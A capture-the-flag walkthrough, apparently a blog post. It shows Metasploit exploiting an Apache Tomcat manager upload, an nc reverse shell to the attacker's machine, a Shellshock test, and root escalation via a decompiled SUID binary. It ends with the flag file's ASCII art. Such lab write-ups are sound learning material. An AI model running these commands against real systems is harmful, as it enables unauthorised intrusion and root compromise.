Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.4-2015090201                   ]
+ -- --=[ 1476 exploits - 852 auxiliary - 239 post        ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search tomcat

Matching Modules
================

   Name                                                         Disclosure Date  Rank       Description
   ----                                                         ---------------  ----       -----------
   auxiliary/admin/http/tomcat_administration                                    normal     Tomcat Administration Tool Default Access
   auxiliary/admin/http/tomcat_utf8_traversal                                    normal     Tomcat UTF-8 Directory Traversal Vulnerability
   auxiliary/admin/http/trendmicro_dlp_traversal                                 normal     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   auxiliary/dos/http/apache_commons_fileupload_dos             2014-02-06       normal     Apache Commons FileUpload and Apache Tomcat DoS
   auxiliary/dos/http/apache_tomcat_transfer_encoding           2010-07-09       normal     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   auxiliary/dos/http/hashcollision_dos                         2011-12-28       normal     Hashtable Collisions
   auxiliary/scanner/http/tomcat_enum                                            normal     Apache Tomcat User Enumeration
   auxiliary/scanner/http/tomcat_mgr_login                                       normal     Tomcat Application Manager Login Utility
   exploit/multi/http/struts_code_exec_classloader              2014-03-06       manual     Apache Struts ClassLoader Manipulation Remote Code Execution
   exploit/multi/http/struts_default_action_mapper              2013-07-02       excellent  Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
   exploit/multi/http/struts_dev_mode                           2012-01-06       excellent  Apache Struts 2 Developer Mode OGNL Execution
   exploit/multi/http/tomcat_mgr_deploy                         2009-11-09       excellent  Apache Tomcat Manager Application Deployer Authenticated Code Execution
   exploit/multi/http/tomcat_mgr_upload                         2009-11-09       excellent  Apache Tomcat Manager Authenticated Upload Code Execution
   exploit/multi/http/zenworks_configuration_management_upload  2015-04-07       excellent  Novell ZENworks Configuration Management Arbitrary File Upload
   post/windows/gather/enum_tomcat                                               normal     Windows Gather Apache Tomcat Enumeration


msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   USERNAME                    no        The username to authenticate as
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Java Universal


msf exploit(tomcat_mgr_upload) > set rhost 192.168.57.5
rhost => 192.168.57.5
msf exploit(tomcat_mgr_upload) > set username sl33py
username => sl33py
msf exploit(tomcat_mgr_upload) > set password Gu3SSmYStR0NgPa$sw0rD!
password => Gu3SSmYStR0NgPa$sw0rD!
msf exploit(tomcat_mgr_upload) > exploit

[-] Exploit aborted due to failure: not-found: The target server fingerprint "Apache/2.4.10 (Debian)" does not match "(?-mix:Apache.*(Coyote|Tomcat))", use 'set FingerprintCheck false' to disable this check.
msf exploit(tomcat_mgr_upload) > set FingerprintCheck false
FingerprintCheck => false
msf exploit(tomcat_mgr_upload) > exploit

[*] Started reverse handler on 192.168.57.5:4444
[*] 192.168.57.5:80 - Retrieving session ID and CSRF token...
[*] 192.168.57.5:80 - Uploading and deploying MEaW2kAa...
[*] 192.168.57.5:80 - Executing MEaW2kAa...
[*] Sending stage (45879 bytes) to 192.168.57.9
[*] Meterpreter session 1 opened (192.168.57.5:4444 -> 192.168.57.9:49869) at 2015-10-07 22:34:05 +0100
[*] 192.168.57.5:80 - Undeploying MEaW2kAa ...

meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
tomcat
id
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
python -c 'import pty; pty.spawn("/bin/bash");'
bash-4.2$ pwd
pwd
/usr/share/tomcat
bash-4.2$

We’ve not got a reasonable user shell on the system.

Privilege escalation

It’s getting quite late and I don’t want to make an already verbose walkthrough too much longer. In summary the following items were found in further investigation and are able to lead to privilege escalation.

First of all the machine is vulnerable to shellshock:

bash-4.2$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
bash-4.2$

This may seem counter intuitive when we already have a shell, but it will come in essential later.

Furthermore there is an executable /usr/bin/nightmare that has SUID bit set and is owned by root. Since this runs as root, if we can get something arbitrary to run from this, then we can gain access as root.

I found the Meterpreter session to be extremely unstable for what happens next – I kept getting disconnected – so I uploaded nc to the victim and opened a reverse shell back to my machine:

msf exploit(tomcat_mgr_upload) > exploit

[*] Started reverse handler on 192.168.57.5:4444
[*] 192.168.57.5:80 - Retrieving session ID and CSRF token...
[*] 192.168.57.5:80 - Uploading and deploying UA5ltXVBIK6GofKv622FM95I8...
[*] 192.168.57.5:80 - Executing UA5ltXVBIK6GofKv622FM95I8...
[*] Sending stage (45879 bytes) to 192.168.57.9
[*] Meterpreter session 6 opened (192.168.57.5:4444 -> 192.168.57.9:51792) at 2015-11-11 14:20:22 +0000
[*] 192.168.57.5:80 - Undeploying UA5ltXVBIK6GofKv622FM95I8 ...

meterpreter > upload /bin/nc /tmp/nc
[*] uploading  : /bin/nc -> /tmp/nc
[*] uploaded   : /bin/nc -> /tmp/nc
meterpreter > shell
Process 2 created.
Channel 4 created.
id
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
chmod 755 /tmp/nc
/tmp/nc -e /usr/bin/bash -nv 192.168.57.5 5555
(UNKNOWN) [192.168.57.5] 5555 (personal-agent) open

And locally on my machine we can get a decent interactive shell:

root@worry64:~# ncat -nlvp 5555
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 192.168.57.9.
Ncat: Connection from 192.168.57.9:51205.
id
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0

nightmare needs some better terminal emulation configured, so this can be set up by setting environment variable TERM to ‘linux’ and using Python to spawn a proper tty. (FYI, to enter Ctrl-C in the terminal enter Ctrl-V first; this allows the Ctrl-C to be sent through to the remote host’s control instead of killing the Meterpreter session.)

Here’s what happens when /usr/bin/nightmare is executed normally:

Decompiling nightmare with Hopper, it’s easy to see what it’s doing. main() runs a loop (sub_4008d0()) which repeatedly calls fire(), which executes the command /usr/bin/aafire which is what’s responsible for animating the ASCII-art fire. The option to quit the program at the y/n prompt is ‘broken’ but by pressing Ctrl-C we enter sigHandler() which calls train(), which executes /usr/bin/sl – the executable responsible for the ASCII-art train. However, crucially this call sets the real/effective/saved UIDs and GIDs to root preventing a reduction in privileges if we can explioit Shellshock.

function main {
    memset(var_A0, 0x0, 0x98);
    sigaction(0x2, 0x40081f, 0x0);
    sigaction(0xf, 0x40081f, 0x0);
    if (open(/dev/tty, 0x2) != 0xffffffff) {
            fire();
            rax = sub_4008d0();
    }
    else {
            puts([-] error: no tty present);
            rax = 0x0;
    }
    return rax;
}

function fire {
    system(/usr/bin/aafire);
    return;
}

function sub_4008d0 {

sub_4008d0:
    do {
            printf([+] Again [y/n]? );
            *(int8_t *)(rbp + 0xfffffffffffffffb) = getchar();
            if (*(int8_t *)(rbp + 0xfffffffffffffffb) != 0xa) {
                    clear_buf();
            }
            if ((*(int8_t *)(rbp + 0xfffffffffffffffb) != 0x79) && (*(int8_t *)(rbp + 0xfffffffffffffffb) != 0x59)) {
                break;
            }
            fire();
    } while (true);
    if ((*(int8_t *)(rbp + 0xfffffffffffffffb) == 0x6e) || (*(int8_t *)(rbp + 0xfffffffffffffffb) == 0x4e)) {
            puts(Oops.. 'n' is broken);
    }
    goto sub_4008d0;
}

function sigHandler {
    train();
    rax = exit(0x0);
    return rax;
}

function train {
    setresuid(0x0, 0x0, 0x0);
    setresgid(0x0, 0x0, 0x0);
    rax = system(/usr/bin/sl -al);
    return rax;
}

After finding a method to exploit that I hadn’t seen before, it was possible to get a root shell and get the flag.

root@worry64:~# ncat -nlvp 5555
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 192.168.57.9.
Ncat: Connection from 192.168.57.9:51206.
export TERM=linux
python -c "import pty; pty.spawn('/bin/bash');"
bash-4.2$ env /usr/bin/sl='() { /bin/bash; }' bash -c /usr/bin/nightmare
<snip animations />
[+] Again [y/n]? ^C
^C
bash-4.2# id
id
uid=0(root) gid=0(root) groups=0(root),91(tomcat) context=system_u:system_r:tomcat_t:s0
bash-4.2# cd /root
cd /root
bash-4.2# ls -l
ls -l
total 16
-r--------. 1 root root 14892 Jul 14 14:25 flag.txt
bash-4.2# cat flag.txt
cat flag.txt
Well done!

Here's your flag: 3eb030c6ab099b0a355712fe38d59ffb

Ascii Art: Mark Van Hooren
(http://www.retrojunkie.com/asciiart/cartchar/snowwhit.htm)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Doc    .;;;;.
      <!!!!!!>;
    ;!!!!!!!!!!>                        .,;;,.
   ,!!!!!!!!!!!!!;            ,;>   ;;!!!!!!!!!>;
   !!!!!!!!!!!!!!'       ,;<!!!' ,<!!!'``.,,,. ``<;
  <!!!!!!!!!!!!(.,;!',;;!!!!!!  <!!!' ,c$$$$$$$c, `!
  !!!!!!!!!!!!!!!!!;!!!!!!!!' ;!!! .r"',?$$$$$".,  `!
  !!!!!!!!!!!!!!!!!!!!!!!!!'.;!!' z$.J"..`$$$$c"..  '
  !!!!!!!!!!!!!!!!!!!!!!!!!<!!! .J$$P c$$$$$$$$c$$$..
  <!!!!!!!!!!!!!!!!!!!!!!!!!!!'z$$$$h$$$$$$$$$$$???$h
   !!!!!!!!!! !!!!!!!!!!!!!!! z$$$$$$$$$P  `$$$F  ,$$
   `!!!!!!!! <!!!!!!!!!!!!!!'<$$$$$$$$$" c <$$P z ?$$
    `!!!!!! ;!!!!!!!!!!!!!' .$$$$$$$$$F J$ <$$ J$F $$F
     `!!!!  !!!!!!!!  !!'   J$$$$$$$$$   ` J$$   ".?"" ..
      `<!! .!!!!!!!  >'  ."<$$$$$P"" ..   <$$$    " .r JF"
        `!  !!!!!!  ' .n= ,,""?$"  z$$$c, $P".,cccc, ".`?$$
            <!!!' .xnP" z$$$$$cc  J$$$$$$.==?$$$$$$$$ $h.
             `'.nJMP",c$$$$$$$$$  ?$$$$$$ ,ccc$$$$$$$"???"..)Mbnx.
           .-nMMMM" z$$$$$$P"" "   "???" -$$$$$$$$$P"  -c$$$ 4MMMMn.
            uMMMMM <$$$$$$$J$$$c  "?ccc$$c,""""""""  z$h$$$P JMMMMMC`
          .MMMMMMM `$$$$$$$$$$$$h   `??$$$$$cc,,r= .J$$$$$" .MMMMMMM
         uMMMMMMMMx ?$$$$$$$$$"$$. .    ""???""  /??$$??" .nMMMMMMMM
         MMMMMMMMMM. "?$$$$$$$,`?$.`:: .      ,-" -""  .xJMMMMMMMMMM
         MP.MMMMMMMMb.. `""""""  ?$c `-``  ,-' .,.xnmMMMMMMMMMMMMP""
         " )MMMMMMMMMMMMMMmnmMbn.  "?hccc=' .JMMMMMMMMMMMMMMMMMMP
           4MMMMMMMMMMMMMMMMMMMMMMn.     .xJMMMMMMMMMMMMMMMMMMMP
           `MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
            `4MM"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP"
              `"- 4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP"
                     "44MMMMMMM"44MMMMPPC"4MMMMMMMMMMP
                                   `"""=     ""444444L

Happy
       ;<!!!!;>
     .<!!!!!!!!;
    ;!!!!!!!!!!!;
   <!!!!!!!!!!!!!>
  '!!!!!!!!!!!!!!!>;
  <!!!!!!!!!!!!!!!!!>.     .,.   ..;;;;;;;;..
  !!!!!!!!!!!!!!!!!'',.  ;<'' ;;!!''```,.```'!;
  !!!!!!!!!!!!!!!!!;<!,;!' ;;!!'`.,cc$$$$$c= `''
  `!!!!!!!!!!!!!!!!!!!!!' ;!!'  -???"?$$$$F,bJmb '!
  `!!!!!!!!!!!!!!!!!!!!' !!!'  ,n4Mnxr`$$F PP"""4 '
   <!!!'!!!!!!!!!!!!!! ;!!!   `4MMPPPM $$c ,c$$$,. '
   `!! !!!!!!!!!!!!!!' !!' J$ J"'.,.,,.$$$$$$$$$$$L
    `',!!!!!!!!!!!!!! !!! J$$  J$$$$$$$$$$$??"?$$$$F
      !!!!!!!!!!!!!!!<!! J$$$$$$$F ? $$$$$$F   $$$$h
     .!'!!!!!!!!!!!!!!! <$$$$$$$$  . ?$$$$P ch.?$$$$
      ' !!!!!!!!!!!''!> ?$$$$$$$F,$$$ "$$$F<$$$.$$$$
       ;!!!!!!!!!!' <! x $$$$$$$'J$$$, $$$,` `?,$$$$  -.
       !!!!!!!!!!' !!' M $$$$$$$ " `"? $$$L    `,c$$$L   ' =nmn.
       !!!!!!!!! ;!!'.JP $$P""""h      $$$$=   """?$$$$$$cc, "MM.
       !!!!!!!! <!'  x" c$$P".,.,,.   J$$C zcd$$$$, $$$$$$$$$ MMMMn.
        !!!!!' <' ,nP" J$$$cd$$$$$$$hr`""""$$$$$$$'  ,c,$$$$$'MMMMMb
        `!!!  `.xn" ,c$$$$$$$$$$$$$$$P"<$$$$$$$$" ,-z$$$$$$$" MMMMMr
         !'  nJM" c$$$$$$$$??????"""",c `"""""' ,='c$$$$$$" .JMMMM4M
          xnMMM <$$$$$$$$" ,.  =cccd$$$$hcccccc"',$$$$$P" .nMMMMMM
        ,=)MMM>.$$$$$$$$'cd$$hc    """????"""" z-$P""  ..nMMMMMMMP
        ,nMMMM.<$$$$$$$$$$$$$$$h. ..          f   ..xnmMMMMMMMMM)
        JMMMMMb "$$$$$$$$$$$$$$$$.`::.`:..   ; .nJMMMMMMMMMMMMM =
       MMMMMMMMn  ?$$$$$$$$$h,."?$L. `:::: ,J .MMMMMMMMMMMMMMP
      ,4MMMMMMMMbx. `""""""""""  `"?hc,..,rP".MMMMMMMMMMMMMP"
      ' )MMMMMMMMMMbnmnnmnmnmMMbnnx.. """" ..JMMMMMMMMM""P"
        `MMMMMMMMMMMMMMMMMMMMMMMMMMMMbnmnmMMMMMMMMMMMP
         4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMPP"
          "P"MMMMMMMMMMMMMMMMMMMMMMPPP4MMMMPPPP""
              "4MMMPPMMMMMMMMMMMMMMMMx,.
                 ""F J"44MMMMM""""""""


Bashful                 .,,;;;,,. '!!!!!!!!;;;.
                     .;<!!!!!!!!!!;.``<!!!!!!!!!;; `'>;;;;;;;;;,.
                    ;!!''',,,,_```<!!; '!!!!!!!!!!!;.`!!!!!!!!!!!!;;,
                  ;!' ,c$$$????$cc `<!!;`!!!!!!!!!!!!!!!!!!!!!!!!!!!!;;
                 ,''-""$$$$.??cC$$$c '!!,`!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>.
                ,!,"-"'$$$F . `?$$$$h '!!.`<!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.
                ' P zcd$$$c<$$c,"$$$$h.'!!!!!!!!!!!!!!!!!!<!!!!!!!!!!!!!!!
                 c J$$$$$$$$$$$$c$$$$$h !!!!!!!!!!!!!!!!!>'!!`<!!!!!!!!!!!
                <$c$$$$$$$$",c,"?$$$$$$  <!!!!<!!!!!!!!!!! <> !!!!!!!!!!!!
                <$$P..`?$$C $"?h."$$$$$c .``<!.`'!!!!!!!!! '  ```<!!!!!!'
                <$$ `$$."F? `   " `$$$$$c,"-,.`   `'!!!!!>        `''``
                `Li   "" ?c cc     $$?$$$$cc,."-..  ''!!!
                 hJ .    <$h`?$cc$F),J$$$$$$$$$c`4Mn. '!'
                 .`? ?c,,.$$$,`?",J$$$$$$$$$$$$$$c MMb.
              ,cc$$$cr=`,J$$$$P J$$$$$$$$$$$$$$$$$>`MMMr
             <$$P"',ccd$$$$""" <$$$$$""'."?$$$$$$$$.MMMMx
        ..n> $P",J$$$$$$$F,cdhc."""". z$$$$$$$$$$$'JMMMMM
      .nMMMb ` <$$$$$$$$$$$$$$$F cc$',$$$$$$$$$$" ,MMMMMM.
    . ,MMMMMn. $$$$$$$$$$$$$$$$' $P',$$"C$$$P"" ,nMMMMMMM
    ,nMMMMMMMM.`$$$$$$$$$$$$$P' J",c$""=""  .,xnMMMMMMMMP
   uMP4MMMMMMMb,`?$$$$$$$$$P"  `,c??'.,xnMMMMMMMMMMMMMMM'
  ,MP.JMMMMMMMMMbx.`"??""    ???" ,xJMMMMMMMMMMMMMMMMMM'
  M";MMMMMMMMMMMMMMMbmmnmMMM+nnmMMMMMMMMMMMMMMMMMMMMP4P
 n ;MMMMMMMMMMMMMMMMMMP"',nmMMMMMMMMMMMMMMMMMMMMMMMM P
 f MMMMMMMMMMMMMMMP"  ,xnMMMMMMMMMMMMMMMMMMMMMMMMMP
  ,MMMMMMMMMMMMMMP ,nMMMMMMMMMMMMMMMMMMMMMMMMMMP,P
  4MMMMMMMMMMMMP',JMMMMMMMMMMMMMMMMMMMMMMMMMMP
  4MMMMMMMMMMP ,MMMMMMMMMMMMMMMMMMMMMMMMMMMP"
   "MMMMMMMMM JMMMMMMMMMMMMMMMMMMMMMMMMMP""
    `MMMMMMM.JMMMMMMMMMMPMMMMMMMPPMMP""
     `MMMMMMMMMMMMMMMP)nMMPPP" = "
       4M"MMMMMMMMP",JP""
        "- 4MMMMM",=
            "MMP


 Grumpy                     .,,,;;;;;,,.
                    ,;;!!;;;.`'!!!!!!!!!!>;;,
                  ;!!!'''!!!!!;.`!!!!!!!!!!!!!;,
                ;!!'. ==-.`'<!!!> `!!!!!!!!!!!!!!,
                !',cF.`?c,$c,`<!!!;`<!!!!!!!!!!!!!!, `;;.
               ! z$$P    `$$$c,`!!!! '!!!!!!!!!!!!!!!,`;!!;.
              '..`$$  c$$c`?$$$.`<!!! `!!!!!!!!!!!!!!!!<!!!!>
               "?$$F <$$$$$J$$$$c <!!! '!!!!!!!!!!!!!!!!!!!!!!;
                 ?"F `""$$$$$$$$$.'!!!!;.)!!!!!!!!!!!!!!!!!!!!!>
              J$.`F,L $c $$$$$$$$L `!!!!!!!!!!!!!!!!!!! !!!!!!!!>
              $',-`?F`$$,`P"L$$$$$. <!!!!!!!!!!!!!!!!!! `!!!!!!!!>
              " " `$$ ?"    ,c$$$$$  `!!!!!!!'!!!!!!!!! `!!!!!!!!!>
      ,cccccc,.  == $h,. ,z$$$$$$$$h. ''!!!!!;;.``<!!!!  !!!!!!!!!>
    c$$$$$$$$$$$h===?$$$$$$$$$$$$$$$$c`-.``<!!!!!; `!!! ,!!!!!!!!!!
   $$$$$$$$$$$P",r",zcc  .,.`"?$$$$$$$$c,"-=. ``!!!; !' !!!!!!!!!!!>
  <$$$$$$$$$$$$$P,c$$$$$ $$$$$c,"?$$$$$$$$cc`-n. `'!;  ;!';!!!!!!!!>
   $$$$$$$$$$$$$$$$$$$$F $$$P""'  "$$$$$$$$$$ `MMb. `>  ,<!!!!!!!!!!
   `$$$$$$$$$$$$$$$$$$" zP",c$$$$c,`$$$$$$$$$> MMMMF.  !!!!!!!!!!!!!
     ?$$$$$$$$$$$$$P"  =",c$$$$$$$$c$$$$$$$$$ ,MMMMn   !!!!!!!!!!!!>
       ""???????""  .,,cd$$P" ,cd$$$$$$$$$$P'.MMMMMMb .!!!!!!!!!!!!>;
              .,,x "?$$$P""  """???$$$$$P"" ,MMMMMMMM `!!!!!!!!!!!!>!>
             uMMMMMx.   .,nmMMMMbmn,,.,,,,nMMMMMMMMMM  <!!!!!!!!!!!,!!>
            ;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   !!!!!!!!!!!!!!>
            P4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM'   `<!!!!!!!!!!!!!
             JMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP      `!!!!!!!!!!!'
            ;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP         `'!!!!!!'`
            MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
           ;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP P
           4>4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" '
             JMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM'
             MMMMMMMMMMMMMMMMMMMMMMMMMMPMM"
            ;MMMMMMMMMMMMMMMMMMMMMMMMM",P
            J4MMMMMMMMMMMMMMMMMMMMMM"
             JMMMMMMMMMMMMMMMP"dMP"
             MMMMMMMMMMMMMMP .="
             4MMMMMMMMMMMP  `
             4MMMMMMMMMM"
              MMMMMMMMP
              `MPMMMMP
                 )MMM
                  4M'
                   "


 Sleepy                           ,;;;;;;;;,.
                        .,;!!!!;;.  `'!!!!!!!!!!>,
                     ,;!'````'!!!!!!;> `!!!!!!!!!!!!;,
                    '` ,ccccc=  ``<!!!!; ''!!!!!!!!!!!!,
                  '   ""$$$$P`--   ``!!!!! `!!!!!!!!!!!!!>
                  ,cr""$$$$" cr ?h`hr <!!!!;'!!!!!!!!!!!!!!>
                 ,F ,c,.$$hc$$$h "$$$h  <!!!; <!!!!!!!!!!!!!>
                ,P,c???$$$$PPPP?cc"$$$$c`<!!!! '!!!!!!!!!!!!!!
                J$F ,c $$$F c$c "$$$$$$$, <!!!>;!!!!!!!!!!!!!!>
               c$" J$$ $$$ c$$$$  $$$$$$$c`!!!!!!!!!!!!!!!!!!!!,
               $F J$$$ $$F $$$$$h.`$$$$$$$.`!!(`'!!!!!''!!!!!!!!
               $' ?"  <$$F     ""$ $$$$$$$h <!!!  !!!!>; '!!!!!!
               L ..   <$$F<$$L     $$$$$$$F `!!!!; `!!!!!; `!!!!!
               ? ??? =?$$$ ??$hc,. cd$$$$$F= `!!!!>. `<!!!; `<!!'
              ,cc$$$c,  ?$,=,.    J$$$$$$$F 4.`!!!!!>;  '!!!  !!
            .J$$$$$$$$$$cc=c,"?$$$$PP$$$$$$c`b. <!!>  -;. <!  ;!
            J$$$$$$$$$P",ccc,"c,,,,cd$$$$$$$c,`b `!!!>  `'!!  ;'
            ?$$$$$$$$$$$$$$$$, $$$$$$$$$$$$$$$.`b,`'!!!>  <!  '
            `$$$$$$$$$$$$$$$" ,$$$$$$$$$$$$$$$$h `b.`'!!!,    >
           Jc "??$$$$$$$$P"  c$L "?$$$$$$$$$$$$$h.`Mx.`<!!;  ;>
        . c$$$c  """""""  ,c$$$P   $$$$$$$$$$$$$$h 4MMr <!!! <!>
       M> $$$$$c "ccccd$$$$$$$" <$c$$$$$$$$$$$$$$$h MMMr `!! `!>
     nMM> $$$$$$hc`??$$$$$??" ,c$$$$F?$$$$$$$$$$$$F MMMP< !! ;!!
    nMMMMr ?$$$$$$$=. `""",cc$$$$$P".$$$$$$$$$$$$"  MMMr'   ;<!!!
   JMPJMMMx  ??$$$$F  ?$$$$$$$$$??.   ????$$$$??  ,MMMMM  '!!!!!!>
   P'uMMMMMMx,,.        ??????" .,MMb,.         .uMMMMMM  <!!!!!!!
  '  MMMMMMMMMMMMMMMMMmn,.   ,nmMMMMMMMMmnmnmnmMMMMMMMMMr !!!!!!!!
    MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM> !!!!!!!!
   JMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM  !!!!!!!!
   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM  !!!!!!!>
   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM> ,!!!!!!!
   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM  !!!!!!!'
   MMMMPMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMPMM' ;!!!!!!!
   4MMP MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MP .!!!!!!!
   `MM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM>     ''!!!'
     P MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP =
       MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
       4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
        4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP M"
        `MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP xP
         4MMM MMMMMMMMMMMMMMMMMMMMMMMMMMMM
          4MM 4MMMMMMMMMMMMMMMMMMMMMMMMM"
           "M  MMMMMMMMMMMMMMMMMMMMMMMMP
            `  MMMMMMMMMMMMMMMMMMMMMMM
                MMMMMMMMMMMMMMMMPPMMP
                `MMMMMMMMMMMMMMM ,M"
                 4MMMMMMMMMMMMMP,MP
                  "MMMMMMMMMMMM dF
                   `4MMMMMMMMMP P
                    `4MMMMMMMM>
                      "MMMMMMM>
                        "4MMMML
                          "4MMM>
                            `4MM


 Sneezy          ,;!!!!!;,
               ,<!!'`````'!;.
              !!!' .zchccc,.``
             !!! z$$$$$$$$$$$h
            !!! <$$$$$$$$$$$$F cc
           !!!'<$$$$$$$$C"??$$ ? ,' cc$cc
        ;>;!!! J$$$$$$$$$$hc,"h ,',$$$$$$$.
      ,<!>'!!! ?$$$$P"" ""??$h"hF J$$$$$$$L
     ;!!!>'!!! .$$$$ <$P  z,,,c$F<$$$$$$$$F .
     !!!!>'!!!> ?$$$c<$ ,""".?"$F`..z$$$$$' ?c,
    !!!!!! !!!!.`$$$$P"".??",J F.J$$$$$$P' z.?$h.
   ;!!!!!!> !!!! ?$$$c zJhcdP"z `?$$$$P" .z$h $$$c .    .,nmnmnx,.
   ;!!!!!!> !!!!. "?$$$$$,,,,c$ . """ .,JP""? <$$$.`MMMMMMMMMMMMMC(
   !!!!!!!!!!!!!! `. ?$$$$$$$$$ ?$$$$$$$',db hJ$$$$ MMMMMMMMMMMMMMMbx
   <!!!!!!!!!!!!!, M' ?$$$$$$$$,`$$$$$$F,MMP $$$$$F JMMMMMMMMMMMMMMMMM.
   `!!!!!!!!!!!!!! Mb  $$$$$$$$h ?$$$$$ "'.: ?$$$P  MMMMMMMMMMMMMMMMMMM
    !!!!!!!!!,'!!! 4ML $$$$$$$$$.`$$$$$ ::::. " " .JMMMMMMMMMMMMMMMMMM
    `!!!!!!!!! !!! JMM ?$$$$$$$$h $$$$$.:::'`     MMMMMMMMMMMMMMMMMMM
     <!!!!!!!> !!! MMM <$$$$$$$$$c`$$$$h  ::.:: h )MMMMMMMMMMMMMMMMMM
      !!!!!!!> !!> MMM <$$$$$$$$$$.<$$$$$c,```,z$ JMMMMMMMMMMMMMMMMMP
       `!!!!!  !! ;MMM.`"$$$$$$$$$$J$$F?$$$$$??" ,MMMMMMMMMMMMMMMMM"
        `!!!!  !! MMMML  "$$$$$$$$$$$$= `"""" .,nMMMMMMMMMMMMMMPMM"
       ! '!!!, ` JMMMMMmn."?$$$$$$$P"",JMMMMMMMMMMMMMMMMMMMMMM' P"
      ;!> <!!!> ;P)MMMMMMMn,. """",xnMMMMMMMMMMMMMMMMMMMMMMMM' "
      !!!!;!!! ,P 4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM'
     ;!!!!!!!! ;  4MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP'
    ;!!!!!!!!!! '  MMMPMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP'
    !!!!!!!!!!!!!'  "Mx`"MMMMMMMMMMMMMMMMMMMMMMMMMP""
   !!!!!!!!!!!!!'     "F. 4MMMMMMMMMMMMMMMP""""
  .!!!!!!!!!!!!'            ""4MMMMMPPPPPP""
  !!!!!!!!!!!!                   """
   !!!!!!!!!'
    `'''''

 Dopey
       ;;!!!;.
     ;!!!!!!!!!
    ;!!!!!!!!!!!
   <!!!!!!!!!!!!!>.               .,,,;;;;;;,,,.       .,;;;;;;;;;.
   !!!!!!!!!!!!!!!!!;        .;;!!!!!!!!!!!!!!!!'' ,;!!!!!!!!!''!!!!!.
   !!!!!!!!!!!!!!!!!' .  ,;!!!!!!!!!!!!!!!!!!''.;!!!!!'``  .;;;;;.``!!>
   !!!!!!!!!!!!!!!' ;';!!!!!!!!!!!!!!!!!!!'',;!!!!'` ,c$$$c <!!!!!!> !!!
   !!!!!!!!!!!!!(;<!><!!!!!!!!!!!!!!!!!!! ;!!!!!' zc$$$$$$$h '!!!!!!>`!!
   <!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ;!!!!''.z$$$$$$$$$$$$ `!!!!!>,!!
   `<!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!';<!!!' ,J$$$$$$P"""""$$h <!!!! <'
    `!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,!!!!  cd$$$$$$$$ z$$cc?$$, !!! ;`
     `!!!!!<!!!!!!!!!!!!!!!!!!!!!!!,!!!!  `""$$$$$$$$J$???$$$$h !!!'
      `!!! <!!!!'!!!!!!!!!!!!!!!!!!!!!',c$$cc$$$$$$$$$   ,$$$$$ !' .==c
